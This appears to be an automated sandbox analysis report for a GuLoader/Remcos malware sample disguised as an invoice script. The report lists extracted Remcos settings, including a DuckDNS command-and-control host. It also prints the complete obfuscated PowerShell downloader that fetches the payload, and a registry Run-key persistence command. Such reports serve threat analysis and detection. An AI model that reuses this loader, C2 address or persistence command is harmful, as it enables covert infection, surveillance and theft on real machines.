Analysis
- max time kernel
153s - max time network
158s - platform
windows10-2004_x64 - resource
win10v2004-20231215-en - resource tags
- submitted
19/01/2024, 03:06
General
- Target 01_17_2024_Invoice.cmd
- Size 200.0MB
- Sample240119-dlr61seadk
- SHA256 ab31ed8e4752f5c054fe36f3e9a9a09742dd86e937e85fe3bdcfa5739246b1ac
Malware Config
Extracted
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remcos
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RemoteHost
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remco8100.duckdns.org:8100
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audio_folder
MicRecords
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
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hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
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keylog_folder
remcos
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mouse_option
false
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mutex
Rmc-G51VNO
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screenshot_crypt
false
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screenshot_flag
false
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screenshot_folder
Screenshots
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screenshot_path
%AppData%
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screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
- Remcos
Remcos is a closed-source remote control and surveillance software.
- Adds Run key to start application 2 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Modifies registry key 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 16 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\01_17_2024_Invoice.cmd"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle hidden "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Svarportos9 ($Algerierens){$Dobbeltmoralskes = $Algerierens.Length-1; For ($Brusnings=4; $Brusnings -lt $Dobbeltmoralskes){$dismoded=$dismoded+$Algerierens.Substring( $Brusnings, 1);$Brusnings+=5;}$dismoded;}$Denouncer=Svarportos9 'BurnhdvsttOpintAutopBransInva: Fab/Genn/AmmovRopeeBlandAgreaEarfn OdoySuppaPsycsFranaBird.Voluc PraoalabmAmid/TidscUcuulNedluSholbBrevbDedui Symltilsy par.UdvisalmemParkineuk ';$dismoded01=Svarportos9 ' RypiCanae RegxMeru ';$Skaarup = Svarportos9 ' Udb\RednsBuriyBoresheptwTilpoUnsewPadd6Spnd4Doms\PeckWBobsimaninPhotdViruoNummwStrys LogPHmskoSustwidale TrirDensSTrikhMetaeMiselRaaslFejl\TndevCapr1Dyre.Slut0 ush\strmpDrejo LitwSirueUnderBetrsskrnhOutseHairlComplCosh. ReteSjlexSupeeGlem ';.($dismoded01) (Svarportos9 'Phon$ urtDBrndrDjeloAntes gldlScroeGemmrArgu2Jord=Taag$ MaseTipsnCoenv Upr:Polyw ObliSubvnCajadBlomiimpar Kli ') ;.($dismoded01) (Svarportos9 'Zinn$StraSudtrkForta Kona BudrAllouGevkp Acr=Udpe$ ShaDAfrorBereoVildsTerrlEccleFinlrDrog2snne+Tyks$ClouSTailkBallagallaUnelr TipuDaadpHjhe ') ;.($dismoded01) (Svarportos9 'Deut$ SudNSkyloplettlegaa ReftSquae MonrFllesSoap God=Untr Este(fond(MaadgSamawopsimRiveiScan Fodfw NoniNeocnHaym3Skri2 Sko_Aeolp ExtrDeeroSaprcMangeUlids HelsInge Shel-LateF Smi RemuPNondrCondoFlopcCloge HavsLogrs JamI HoldTele= Fje$Leaf{JenlPKollI AthDUniv}Lrec) Lys. culCEkspo HjemSparmUncoaPilfnSimidNoncLLovbi Scrn GeoeAvoo) soc Pres-AccesKomppBraglNanniFiletMeso Sku[FaktcErhvhNonca Klarpsyc]Tewh3Hand4taxo ');.($dismoded01) (Svarportos9 ' Lag$KopuR Frim aurePleu Affo=dena Jer$RestNKordo TostExcraFiskt AdmeAssir StvsWald[Udpn$DactNGrovostemtPeckaImpotEloae SicrPanhsSupe.SygecSprio FjeuFolknForbt Fun-Skol2misk]Land ');.($dismoded01) (Svarportos9 'Fedt$SomaaKirkfForefDekaiUncocBygghHelseChab=Bowp( ErnTBekleKlovs must Fru-DimeP ProaVistt shyhIndp Unde$ HldSAccukSigna Droa HrerNugluHearpIndd)Nonr Trim-RedlAFeudn Afrd Ska outr( Veg[TndrITatsnLynitAirmPErgltpartrServ] Bet:Best:Coems PooiNrhezJuggeHapa Tils-DriveCircqUdsk Paak8 Inf)Tils ') ;if ($affiche) {.$Skaarup $Rme;} else {;$dismoded00=Svarportos9 'FedeS DeltPriva ConrPaastSkil-StopBFresi KentArmosfluoTSocirQuavaSartntorrs GrufSmsceSlskrModi Dors-AftaSPrewoForwuprecrPlascFolkeTzut traf$ReinDEksaeyanknTankoNondu Stnn UdrcHengeMaltr Reo rec-HausDmonee rinsBaantspdbiBadjn fejaBalutPriciHeteoInexn Lic Teat$ SplDflowrFdseoOmkos Infl OppesikrrArae2Post ';.($dismoded01) (Svarportos9 'Apsi$MomsDTraar AiroDomssXenolDispeUdrirVarm2Asga=Terz$Skame Jehn KonvBogs:EtikaNonipKatapdumpd ParaTelet KataAfte ') ;.($dismoded01) (Svarportos9 'SkinI VirmZesspByggoAbetrNonpt Spe- GenMLaicoDalbdHushuUsnolNeure Fry connB LitiBetitMisasSoigTQuanrBlooaOccinsnonsBondfPikke UnsrElek ') ;$Drosler2=$Drosler2+'\Fogdernes.App';while (-not $Thedric) {.($dismoded01) (Svarportos9 'Teks$ StoT KathReseeRamedNitrrIndkiEftecCoyn=Nons( uriTIlluereacsRegatMorg-TrocPplisaPolitBearhExte Term$RepuDForkr RuboFrems BoolOvereObusrStje2Dise)vask ') ;.($dismoded01) $dismoded00;.($dismoded01) (Svarportos9 'AtmoSCrimtDukka GenrSpintFors-SnekS DiplTilee Houe MiapGene Spil5Barr ');}.($dismoded01) (Svarportos9 'Kuve$SemiSBiblvVivaaGaborMisepDampoKarer Nyhtnepho uddsSlan Stru=mani SkaGBaaresmaatSign-DobbCEksaoPhbrnUromtAlleeSourn stotrumi Etag$ReliDNeocr Foro GoosCirclCityeWittrSkat2Roma ');.($dismoded01) (Svarportos9 ' Opv$OverLDelra WindAbbrdLetfeBehnrNark Unci=djur Regi[KnogSKrokyLavrsUdsktVesieCutem Egy.ReavCBattoSpornMirevPerteSensrEmist Eks]Frko:Cust:TaktFAflyrFlowolystmNoncBGladaPonisHytteunto6Reti4FogeSAbont SigrSemiiSharnsongg Kog( mid$forsSGrilvStoraMusirDyrepForsoMinurBehat JeroJasmsThym)Resv ');.($dismoded01) (Svarportos9 ' Cha$fornd UskiLysiszebrmTextoHeksd subeAjoudvaro2hote Kneb=Edde Fune[ReflSForhyReplsHammtSkabeNoncmAuto. douTAfspeAvisxClittGrav.UnhoELovmn Fonc HeroAuscdOmphiSkrynBedrgErhv]Semi:Parr:agroAbifiSOverCPnskIGemyIFork. GemGFisheSabrtHeftStrittKbstrCreaiUnfin strg Paa( Una$ArgoL FlaaGiffdKnkpdHaake PicrUnfo)Tvek ');.($dismoded01) (Svarportos9 ' Aig$ StoJ VeraUskamEndobRotoiOpsksninekTerze jvi=Skil$ BendForaiHalssPraemRingoEnebdExtre SprdPlot2Tain.VerjsStomuLejdbSaxosOrkit CharOmniiFremnLeveg Ded(Gard2Tuma8Unde7Knol1Anty8 Hal0sili,Yder2 Bra6Duka3Unde9 Omb8Revi)Misf ');.($dismoded01) $Jambiske;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "gal;gal;gal;gal;gal;gal;gal;gal;gal;Function Svarportos9 ($Algerierens){$Dobbeltmoralskes = $Algerierens.Length-1; For ($Brusnings=4; $Brusnings -lt $Dobbeltmoralskes){$dismoded=$dismoded+$Algerierens.Substring( $Brusnings, 1);$Brusnings+=5;}$dismoded;}$Denouncer=Svarportos9 'BurnhdvsttOpintAutopBransInva: Fab/Genn/AmmovRopeeBlandAgreaEarfn OdoySuppaPsycsFranaBird.Voluc PraoalabmAmid/TidscUcuulNedluSholbBrevbDedui Symltilsy par.UdvisalmemParkineuk ';$dismoded01=Svarportos9 ' RypiCanae RegxMeru ';$Skaarup = Svarportos9 ' Udb\RednsBuriyBoresheptwTilpoUnsewPadd6Spnd4Doms\PeckWBobsimaninPhotdViruoNummwStrys LogPHmskoSustwidale TrirDensSTrikhMetaeMiselRaaslFejl\TndevCapr1Dyre.Slut0 ush\strmpDrejo LitwSirueUnderBetrsskrnhOutseHairlComplCosh. ReteSjlexSupeeGlem ';.($dismoded01) (Svarportos9 'Phon$ urtDBrndrDjeloAntes gldlScroeGemmrArgu2Jord=Taag$ MaseTipsnCoenv Upr:Polyw ObliSubvnCajadBlomiimpar Kli ') ;.($dismoded01) (Svarportos9 'Zinn$StraSudtrkForta Kona BudrAllouGevkp Acr=Udpe$ ShaDAfrorBereoVildsTerrlEccleFinlrDrog2snne+Tyks$ClouSTailkBallagallaUnelr TipuDaadpHjhe ') ;.($dismoded01) (Svarportos9 'Deut$ SudNSkyloplettlegaa ReftSquae MonrFllesSoap God=Untr Este(fond(MaadgSamawopsimRiveiScan Fodfw NoniNeocnHaym3Skri2 Sko_Aeolp ExtrDeeroSaprcMangeUlids HelsInge Shel-LateF Smi RemuPNondrCondoFlopcCloge HavsLogrs JamI HoldTele= Fje$Leaf{JenlPKollI AthDUniv}Lrec) Lys. culCEkspo HjemSparmUncoaPilfnSimidNoncLLovbi Scrn GeoeAvoo) soc Pres-AccesKomppBraglNanniFiletMeso Sku[FaktcErhvhNonca Klarpsyc]Tewh3Hand4taxo ');.($dismoded01) (Svarportos9 ' Lag$KopuR Frim aurePleu Affo=dena Jer$RestNKordo TostExcraFiskt AdmeAssir StvsWald[Udpn$DactNGrovostemtPeckaImpotEloae SicrPanhsSupe.SygecSprio FjeuFolknForbt Fun-Skol2misk]Land ');.($dismoded01) (Svarportos9 'Fedt$SomaaKirkfForefDekaiUncocBygghHelseChab=Bowp( ErnTBekleKlovs must Fru-DimeP ProaVistt shyhIndp Unde$ HldSAccukSigna Droa HrerNugluHearpIndd)Nonr Trim-RedlAFeudn Afrd Ska outr( Veg[TndrITatsnLynitAirmPErgltpartrServ] Bet:Best:Coems PooiNrhezJuggeHapa Tils-DriveCircqUdsk Paak8 Inf)Tils ') ;if ($affiche) {.$Skaarup $Rme;} else {;$dismoded00=Svarportos9 'FedeS DeltPriva ConrPaastSkil-StopBFresi KentArmosfluoTSocirQuavaSartntorrs GrufSmsceSlskrModi Dors-AftaSPrewoForwuprecrPlascFolkeTzut traf$ReinDEksaeyanknTankoNondu Stnn UdrcHengeMaltr Reo rec-HausDmonee rinsBaantspdbiBadjn fejaBalutPriciHeteoInexn Lic Teat$ SplDflowrFdseoOmkos Infl OppesikrrArae2Post ';.($dismoded01) (Svarportos9 'Apsi$MomsDTraar AiroDomssXenolDispeUdrirVarm2Asga=Terz$Skame Jehn KonvBogs:EtikaNonipKatapdumpd ParaTelet KataAfte ') ;.($dismoded01) (Svarportos9 'SkinI VirmZesspByggoAbetrNonpt Spe- GenMLaicoDalbdHushuUsnolNeure Fry connB LitiBetitMisasSoigTQuanrBlooaOccinsnonsBondfPikke UnsrElek ') ;$Drosler2=$Drosler2+'\Fogdernes.App';while (-not $Thedric) {.($dismoded01) (Svarportos9 'Teks$ StoT KathReseeRamedNitrrIndkiEftecCoyn=Nons( uriTIlluereacsRegatMorg-TrocPplisaPolitBearhExte Term$RepuDForkr RuboFrems BoolOvereObusrStje2Dise)vask ') ;.($dismoded01) $dismoded00;.($dismoded01) (Svarportos9 'AtmoSCrimtDukka GenrSpintFors-SnekS DiplTilee Houe MiapGene Spil5Barr ');}.($dismoded01) (Svarportos9 'Kuve$SemiSBiblvVivaaGaborMisepDampoKarer Nyhtnepho uddsSlan Stru=mani SkaGBaaresmaatSign-DobbCEksaoPhbrnUromtAlleeSourn stotrumi Etag$ReliDNeocr Foro GoosCirclCityeWittrSkat2Roma ');.($dismoded01) (Svarportos9 ' Opv$OverLDelra WindAbbrdLetfeBehnrNark Unci=djur Regi[KnogSKrokyLavrsUdsktVesieCutem Egy.ReavCBattoSpornMirevPerteSensrEmist Eks]Frko:Cust:TaktFAflyrFlowolystmNoncBGladaPonisHytteunto6Reti4FogeSAbont SigrSemiiSharnsongg Kog( mid$forsSGrilvStoraMusirDyrepForsoMinurBehat JeroJasmsThym)Resv ');.($dismoded01) (Svarportos9 ' Cha$fornd UskiLysiszebrmTextoHeksd subeAjoudvaro2hote Kneb=Edde Fune[ReflSForhyReplsHammtSkabeNoncmAuto. douTAfspeAvisxClittGrav.UnhoELovmn Fonc HeroAuscdOmphiSkrynBedrgErhv]Semi:Parr:agroAbifiSOverCPnskIGemyIFork. GemGFisheSabrtHeftStrittKbstrCreaiUnfin strg Paa( Una$ArgoL FlaaGiffdKnkpdHaake PicrUnfo)Tvek ');.($dismoded01) (Svarportos9 ' Aig$ StoJ VeraUskamEndobRotoiOpsksninekTerze jvi=Skil$ BendForaiHalssPraemRingoEnebdExtre SprdPlot2Tain.VerjsStomuLejdbSaxosOrkit CharOmniiFremnLeveg Ded(Gard2Tuma8Unde7Knol1Anty8 Hal0sili,Yder2 Bra6Duka3Unde9 Omb8Revi)Misf ');.($dismoded01) $Jambiske;}"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Opspytning204% -w 1 $skjaldedigtningernes=(Get-ItemProperty -Path 'HKCU:\Synchromesh213\').Literariness;%Opspytning204% ($skjaldedigtningernes)"5⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exeREG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%Opspytning204% -w 1 $skjaldedigtningernes=(Get-ItemProperty -Path 'HKCU:\Synchromesh213\').Literariness;%Opspytning204% ($skjaldedigtningernes)"6⤵
- Adds Run key to start application
- Modifies registry key
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
logs.dat
__PSScriptPolicyTest_zxexkajn.dgb.ps1
memory/2408-2-0x000001E85B540000-0x000001E85B562000-memory.dmp
memory/2408-12-0x00007FFB3E960000-0x00007FFB3F421000-memory.dmp
memory/2408-13-0x000001E859450000-0x000001E859460000-memory.dmp
memory/2408-14-0x000001E859450000-0x000001E859460000-memory.dmp
memory/2408-15-0x000001E859450000-0x000001E859460000-memory.dmp
memory/2408-45-0x000001E859450000-0x000001E859460000-memory.dmp
memory/2408-44-0x000001E859450000-0x000001E859460000-memory.dmp
memory/2408-43-0x00007FFB3E960000-0x00007FFB3F421000-memory.dmp
memory/2408-70-0x00007FFB3E960000-0x00007FFB3F421000-memory.dmp
memory/3824-99-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-93-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-81-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-88-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-90-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-78-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-75-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-74-0x0000000000F80000-0x0000000003661000-memory.dmp
memory/3824-71-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-84-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-65-0x0000000077CD1000-0x0000000077DF1000-memory.dmp
memory/3824-61-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-56-0x0000000077D58000-0x0000000077D59000-memory.dmp
memory/3824-96-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-54-0x0000000000F80000-0x0000000003661000-memory.dmp
memory/3824-102-0x000000006F8F0000-0x0000000070B44000-memory.dmp
memory/3824-57-0x0000000077CD1000-0x0000000077DF1000-memory.dmp
memory/4880-33-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/4880-49-0x00000000079C0000-0x00000000079C1000-memory.dmp
memory/4880-50-0x0000000008830000-0x000000000AF11000-memory.dmp
memory/4880-51-0x0000000002950000-0x0000000002960000-memory.dmp
memory/4880-52-0x0000000008830000-0x000000000AF11000-memory.dmp
memory/4880-53-0x0000000077CD1000-0x0000000077DF1000-memory.dmp
memory/4880-48-0x0000000002950000-0x0000000002960000-memory.dmp
memory/4880-55-0x0000000008830000-0x000000000AF11000-memory.dmp
memory/4880-47-0x00000000752B0000-0x0000000075A60000-memory.dmp
memory/4880-42-0x0000000007950000-0x0000000007964000-memory.dmp
memory/4880-41-0x00000000078B0000-0x00000000078D2000-memory.dmp
memory/4880-40-0x0000000008280000-0x0000000008824000-memory.dmp
memory/4880-66-0x00000000752B0000-0x0000000075A60000-memory.dmp
memory/4880-67-0x0000000008830000-0x000000000AF11000-memory.dmp
memory/4880-39-0x00000000074D0000-0x00000000074F2000-memory.dmp
memory/4880-38-0x0000000007580000-0x0000000007616000-memory.dmp
memory/4880-37-0x00000000067C0000-0x00000000067DA000-memory.dmp
memory/4880-36-0x0000000007C00000-0x000000000827A000-memory.dmp
memory/4880-35-0x0000000002950000-0x0000000002960000-memory.dmp
memory/4880-34-0x00000000062E0000-0x000000000632C000-memory.dmp
memory/4880-32-0x0000000005C60000-0x0000000005FB4000-memory.dmp
memory/4880-22-0x0000000005B70000-0x0000000005BD6000-memory.dmp
memory/4880-21-0x0000000005A90000-0x0000000005AF6000-memory.dmp
memory/4880-20-0x00000000059F0000-0x0000000005A12000-memory.dmp
memory/4880-19-0x0000000005390000-0x00000000059B8000-memory.dmp
memory/4880-18-0x0000000002950000-0x0000000002960000-memory.dmp
memory/4880-17-0x0000000004D20000-0x0000000004D56000-memory.dmp
memory/4880-16-0x00000000752B0000-0x0000000075A60000-memory.dmp